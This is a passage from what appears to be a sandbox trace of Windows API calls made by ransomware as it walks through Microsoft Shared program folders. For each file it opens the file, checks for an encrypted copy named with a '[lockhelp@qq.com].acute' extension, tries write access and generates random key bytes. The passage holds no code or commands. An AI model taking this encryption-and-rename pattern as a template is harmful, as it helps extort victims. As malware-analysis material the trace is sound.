Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.121] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.177] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=990032) returned 1 [0274.177] CloseHandle (hObject=0x30c) returned 1 [0274.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 0x20 [0274.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.177] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.177] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=1110528) returned 1 [0274.177] CloseHandle (hObject=0x30c) returned 1 [0274.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll")) returned 0x20 [0274.178] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\VGX.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.178] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.178] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.178] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.181] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=324330) returned 1 [0274.181] CloseHandle (hObject=0x30c) returned 1 [0274.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx")) returned 0x20 [0274.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.181] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.182] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=665117) returned 1 [0274.182] CloseHandle (hObject=0x30c) returned 1 [0274.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx")) returned 0x20 [0274.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.182] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.182] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.182] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.182] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=436710) returned 1 [0274.182] CloseHandle (hObject=0x30c) returned 1 [0274.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx")) returned 0x20 [0274.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.183] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.183] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.183] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.183] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=902841) returned 1 [0274.183] CloseHandle (hObject=0x30c) returned 1 [0274.183] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx")) returned 0x20 [0274.183] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.183] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.183] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.183] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.184] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=11009) returned 1 [0274.184] CloseHandle (hObject=0x30c) returned 1 [0274.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx")) returned 0x20 [0274.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.184] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.184] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=326) returned 1 [0274.184] CloseHandle (hObject=0x30c) returned 1 [0274.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp")) returned 0x20 [0274.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.184] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.185] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=223699) returned 1 [0274.185] CloseHandle (hObject=0x30c) returned 1 [0274.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx")) returned 0x20 [0274.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.185] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.186] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=196069) returned 1 [0274.186] CloseHandle (hObject=0x30c) returned 1 [0274.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx")) returned 0x20 [0274.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.186] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.186] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=648211) returned 1 [0274.186] CloseHandle (hObject=0x30c) returned 1 [0274.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx")) returned 0x20 [0274.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.186] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.187] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=916632) returned 1 [0274.187] CloseHandle (hObject=0x30c) returned 1 [0274.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx")) returned 0x20 [0274.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.187] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.188] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=10080) returned 1 [0274.188] CloseHandle (hObject=0x30c) returned 1 [0274.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 0x20 [0274.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.191] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.191] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.191] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.192] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=18264) returned 1 [0274.192] CloseHandle (hObject=0x30c) returned 1 [0274.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 0x20 [0274.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.192] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.193] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=99672) returned 1 [0274.193] CloseHandle (hObject=0x30c) returned 1 [0274.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 0x20 [0274.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.194] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.194] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=387408) returned 1 [0274.194] CloseHandle (hObject=0x30c) returned 1 [0274.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 0x20 [0274.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.195] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common 